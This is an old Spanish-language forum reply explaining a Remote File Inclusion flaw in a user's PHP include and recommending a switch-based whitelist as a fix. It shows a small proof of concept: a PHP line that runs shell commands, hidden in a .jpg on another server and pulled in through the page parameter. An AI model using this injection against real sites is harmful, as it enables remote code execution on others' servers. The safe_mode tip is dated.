Ver Mensaje Individual
  #6 (permalink)  
Antiguo 03/04/2006, 19:49
NightDark
 
Fecha de Ingreso: enero-2006
Ubicación: mi casa
Mensajes: 255
Antigüedad: 18 años, 3 meses
Puntos: 0
RFI Vulnerability

Lo que tenemos ahì, es una vulnerabilidad llamada Remote File Inclusion,
al usar include amiga se pueden incluir arhivos locales y remotos
por lo que si se incluye codigo PHP, el mismo motor del PHP ejecuta ese codigo...

como ejemplo, yo escribo este codigo PHP:

Código:
system("uname -a; ls");
y lo guardo en un fichero llamado hola.jpg (sin ext php) y al llamar a tu include desde la variable page:

http://tuserver.com/pagina?page=http...r.com/hola.jpg

estoy incluyendo el codigo PHP con el procedimiento system que ejecuta comandos en el servidor (en este caso me devuelve la version del sistema linux version del kernel, Distro, hostname blah y un listado del directorio actual)

lo que te recomiendo que hagas
es en ves de usar un if y dejar que la variable page contenga el nombre del fichero PHP
es usar un switch

ejemplo:

Código:
switch($_GET['page']) {
case "pagina":
include("pagina.php");
break;
}
asi llamarias de esta forma a tu pagina:
http://www.tuserver.com/tuscript.php?page=pagina

y se incluye pagina.php y asi atacantes no tienen acceso al include
es una practica de programacion segura

un saludo Vampira
uff.

PD: hay una forma para desactivar la ejecuciòn de comandos mediante PHP (system, shell_Exec, etc son deshabilitadas) pero eso solo si tienes acceso al servidor y la configuracion del PHP.INI, sin embargo el include seguirà siendo vulnerable y con scripts avanzados que listeen el directorio y sobreescriban archivos te cambiaran el index :)
puesto que lo mejor es practicas seguras de programaciòn.

te dejo la linea que hay que cambiar para el PHP.INI:

safe_mode = off <- mayormente el safe mode està off, solo quita off y pon ON.

Última edición por NightDark; 03/04/2006 a las 19:54